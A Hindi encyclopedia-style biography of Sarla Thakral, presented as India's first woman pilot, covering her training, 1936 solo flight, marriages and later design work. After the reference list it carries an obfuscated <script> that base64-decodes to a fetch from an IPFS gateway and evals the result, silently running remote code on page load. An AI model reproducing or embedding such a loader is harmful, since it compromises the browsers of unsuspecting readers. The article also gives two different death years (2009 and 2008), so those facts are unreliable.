सरला ठकराल

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सरला ठकराल
सरला ठकराल
पूरा नाम सरला ठकराल
जन्म 1914
जन्म भूमि नई दिल्ली, भारत
मृत्यु 15 मार्च, 2009
पति/पत्नी पी. डी. शर्मा
कर्म भूमि भारत
प्रसिद्धि प्रथम भारतीय महिला विमान चालक
नागरिकता भारतीय
अन्य जानकारी सरला ठकराल ने 1929 में दिल्ली में खोले गए फ़्लाइंग क्लब में विमान चालन का प्रशिक्षण लिया था और एक हज़ार घंटे का अनुभव बटोरा था।

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सरला ठकराल (अंग्रेज़ी: Sarla Thakral ; जन्म- 1914, नई दिल्ली, भारत; मृत्यु- 15 मार्च, 2009) भारत की प्रथम महिला विमान चालक थीं। 1936 में सरला ठकराल परंपराओं को तोड़ते हुए एयरक्राफ्ट उड़ाने वाली पहली भारतीय महिला बनी थीं। उन्होंने 'जिप्सी मॉथ' को अकेले ही उड़ाने का कारनामा कर दिखाया था। ख़ास बात यह थी कि उन्होंने वर्ष 1936 में पहली बार साड़ी पहन कर हवाई जहाज़ उड़ाने का गौरव हासिल किया था। ऐसा करने वाली भी वह भारत की पहली नारी थी। साथ ही साथ उस समय वह एक चार साल की बेटी की मां भी थीं।

जीवन परिचय

सरला ठकराल का जन्म 15 मार्च को नई दिल्ली, भारत में हुआ था। उन्होंने 1929 में दिल्ली में खोले गए फ़्लाइंग क्लब में विमान चालन का प्रशिक्षण लिया था और एक हज़ार घंटे का अनुभव बटोरा था। दिल्ली के फ़्लाइंग क्लब में उनकी भेंट अपने भावी पति पी. डी. शर्मा से हुई। विवाह के बाद उनके पति ने उन्हें व्यावसायिक विमान चालक बनने के लिए प्रोत्साहन दिया। पति से प्रोत्साहन पाकर सरला ठकराल जोधपुर फ्लाइंग क्लब में ट्रेनिंग लेने लगी थीं। लाहौर का हवाई अड्डा ऐतिहासिक पल का गवाह बना। जब 21 वर्षीय सरला ठकराल ने अपनी साड़ी का पल्लू ठीक किया और जा बैठीं जिप्सी मॉथ नामक दो सीटों वाले विमान में। उन्होंने आँखों पर चश्मा चढ़ाया और विमान को अकेले ही आकाश में ले उड़ीं। तत्कालीन समय में विमान उड़ाना बहुत बड़ी बात समझी जाती थी और ऊपर से पुरुष का उस समय इस क्षेत्र पर पूरी तरह से वर्चस्व था। इस तरह सरला ठकराल भारत की पहली महिला विमान चालक बनीं।[1]

कार्यक्षेत्र

सोलह साल की उम्र में सरला ने पी. डी. शर्मा, जो एक व्यावसायिक विमान चालक थे, से शादी की थी। उनके पति ने हमेशा ही उनको प्रोत्साहित किया। एक इंटरव्यू के दौरान सरला ने बताया था कि, “मेरे पति को पहले भारतीय एयर मेल पायलट का लाइसेंस मिला था। उन्होंने कराची और लाहौर के बीच उड़ान भरी थी। जब मैंने अपने आवश्यक उड़ान के घंटे पूरे कर लिए, तब मेरे प्रशिक्षक चाहते थे कि मैं सोलो उड़ान भरूं, लेकिन मेरे पति वहां नहीं थे। मुझे मेरे परिवार के सपोर्ट की ज़रूरत थी। मैं उनसे अनुमति लेना चाहती थी। उन लड़कों ने भी मुझसे कभी कोई सवाल नहीं किया, जिन्हें मेरे साथ प्रशिक्षित किया जा रहा था। सिर्फ फ्लाइंग क्लब का एक व्यक्ति जो क्लर्क था, को मेरे उड़ने से आपत्ति थी। अन्यथा मुझे कभी किसी विरोध का सामना नहीं करना पड़ा।” 1939 में ही एक विमान दुर्घटना में उनके पति मारे गए। इसी दौरान दूसरा विश्व युद्ध छिड़ गया और जोधपुर क्लब बंद हो गया। उसके बाद सरला ने अपने जीवन की दिशा बदल ली। सरला ठकराल के माता-पिता ने उनका दूसरा विवाह किया और वे विभाजन के बाद लाहौर से दिल्ली आ गईं। दिल्ली आकार उन्होंने पेंटिंग शुरू की। फिर वे कपड़े और गहने डिज़ाइन करने लगीं और करीब 20 साल तक अपनी बनायी चीजें विभिन्न कुटीर उद्योगों को देती रहीं।

निधन

अपने जीवन में सफलताओं के कई आयाम छूने वाली सरला ठकराल का 15 मार्च, 2008 को निधन हो गया, लेकिन उनकी ये प्रेरणादायक कहानी साहस और आत्मविश्वास की एक अनूठी कहानी है। उनकी ज़िन्दगी का संघर्ष और उसके बाद मिली सफलता आगे आने वाली महिलाओं के लिए हमेशा प्रेरणास्रोत बनी रहेगी।


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टीका टिप्पणी और संदर्भ

  1. सरला ठकराल (हिन्दी) भारत की नारी, भारत की शान। अभिगमन तिथि: 04 मार्च, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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